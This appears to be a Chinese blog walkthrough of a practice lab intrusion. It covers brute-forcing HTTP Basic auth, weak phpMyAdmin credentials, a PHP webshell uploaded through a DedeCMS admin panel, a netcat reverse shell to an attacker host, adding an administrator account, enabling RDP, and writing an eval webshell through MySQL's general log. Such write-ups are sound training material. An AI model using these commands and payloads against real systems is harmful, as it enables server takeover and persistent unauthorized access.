前言
关于交流群，后台添加即可
401验证，在网络通信和HTTP协议中，特指一种状态码——401 Unauthorized（未经授权）。当客户端尝试访问受保护的资源时，如果未能提供有效的身份验证信息，或者提供的信息不足以获得访问权限，服务器就会返回401状态码，表示请求未被授权。
靶场复现
弱口令123456
image-20240806102633633
当然也可以使用bp爆破
image-20240806152216786
base64解密
image-20240806152303797
添加迭代器，用户字典
image-20240806152432468
在这里添加一个冒号
image-20240806152451506
添加密码字典
image-20240806152528872
添加处理规则base64编码
image-20240806152551579
这里发现一个百分号的url编码，他就是我们401认证中间的冒号
image-20240806152628684
这里取消url编码即可
image-20240806152726788
然后进行爆破即可，找到一个响应为200的就是爆破成功的
然后解密就好
image-20240806162951900
返回页面登录成功后就会得到key1
image-20240806093456263
进入到首页
image-20240806093545131
登录sql注入尝试，被验证了
image-20240806093628301
双引号也不行
image-20240806120304796
对搜索框进行xss攻击，发现对<>进行了过滤
image-20240806093852745
url编码，但是被转义成了script的a标签，还是以字符串的形式添加到相关搜索
image-20240806094000866
注册一个用户信息
image-20240806094402608
这里成功注册了，但是也没有alert(1)
image-20240806094421879
查看首页过来，也没有，修改闭合标签<strong>试试
image-20240806094517195
修改信息，并添加一个strong标签
image-20240806120600666
失败了，好像还有字符长度限制
image-20240806095128633
在短消息界面中尝试xss
image-20240806095318060
失败，没效果
image-20240806095338773
xss验证，被转义成了字符串
</textarea><script>alert(1)</script>
image-20240806095743636
好家伙直接添加成功，也没有xss漏洞
image-20240806095759955
找到默认 织梦 后台管理地址
image-20240806100021690
管理员没有修改默认登录界面
image-20240806100047375
admin 万能密码绕过，没有效果
image-20240806100707451
查看端口开放信息
image-20240806100805925
这个端口也没有什么东西
image-20240806101109802
3306端口，mysql远程连接试试，拒绝远程连接
image-20240806123627919
robots爬虫协议
image-20240806101100531
/include
image-20240806141759852
/templets，都没发现什么东西
image-20240806141738678
找到头像设置界面，一句话图片马能上传了
image-20240806101723742
image-20240806101829252
可以上传图片，但是找了好一会儿，没有找到文件包含的地方
image-20240806101844747
御剑目录扫描扫不出任何东西
image-20240806100107737
这里有一个认证，就是401认证，用普通的目录扫描工具是扫不出任何东西的
❝Authorization: Basic YWRtaW46MTIzNDU2
image-20240806115303604
用burp suite扫描抓包指定好御剑的字典目录扫描路径
image-20240806103242893
刚刚扫描到的phpmyadmin
image-20240806103332161
image-20240806121233281
❝这个错误介绍
MySQL是一个流行的开放源代码关系数据库管理系统。它是许多Web应用程序的基础，例如WordPress，Magento和Drupal等。MySQL允许用户通过自己的主机或云服务器上的phpMyAdmin进行MySQL管理。然而，有时候用户可能会遇到MySQL Error # 1045 – Cannot Log in to MySQL server -> phpmyadmin错误。这篇文章将介绍这个错误，以及如何解决它。
错误原因
该错误通常意味着您没有权限访问MySQL服务器。在MySQL中有一个root用户，它是MySQL服务器的超级管理员。如果您尝试使用root用户登录MySQL服务器但不知道密码，或者尝试通过phpMyAdmin使用root用户但是密码错误，那么您就会遇到MySQL Error # 1045。此外，如果您使用的是不正确的用户名或密码，也会遇到此错误。
弱口令root/root成功
image-20240806103746871
一、后台文件上传
登录mysql，找到指定的数据表，查看admin密码
image-20240806104002436
解密
image-20240806104047728
admin/888888成功进入到了后台界面
image-20240806104401369
找到这个文件式管理器，找到key2
image-20240806114809321
查看这个key2
image-20240806105358278
上传php文件
image-20240806104720011
用nmap进行扫描扫出来结果为windows系统
image-20240806113941356
执行命令dir
image-20240806110538219
查看系统信息，是windows server 2008操作系统
image-20240806110736895
在当前uploads目录上传一个nc.exe
image-20240806111004314
移交cmd权限到攻击机器
nc.exe [ip] [端口] -e cmd
image-20240806111218216
dir查看是否成功
image-20240806114241132
查看用户权限信息，是超级管理员，那么我们就可以添加一个管理员用户
image-20240806111358555
添加用户，并添加到admin用户组
# 添加一个用户
net user 用户名 password /add
# 添加用户名到指定用户组
net localgroup administrators 用户名 /add
image-20240806111858963
开启远程
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
image-20240806112030539
nmap扫描指定端口，查看是否开启
image-20240806112016499
用你刚刚添加的用户进行远程连接
image-20240806112144875
查看administrator目录，成功访问，获得目标服务器权限，这里环境没有配置key3，演示结束。
image-20240806112928572
二、日志写入
phpmyadmin日志功能
SHOW VARIABLES LIKE "%general%"
这里我们查看日志状态是开启的，我们可以尝试写日志的方式，获取shell命令
image-20240806172751877
如果没有打开也可以使用如下脚本，打开日志功能
SET GLOBAL GENERAL_LOG=on
在上面我们看到了日志的路径，确定了本站为phpstudy搭建的，我们修改日志文件到我们的shell.php
image-20240806173445444
查看脚本是否存在
image-20240806173527613
写入日志
SELECT "<?php @eval($_POST[10]); ?>"
image-20240806173835384
image-20240806173944918
这里不要忘了添加401验证的请求头
image-20240806174017845
1419
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
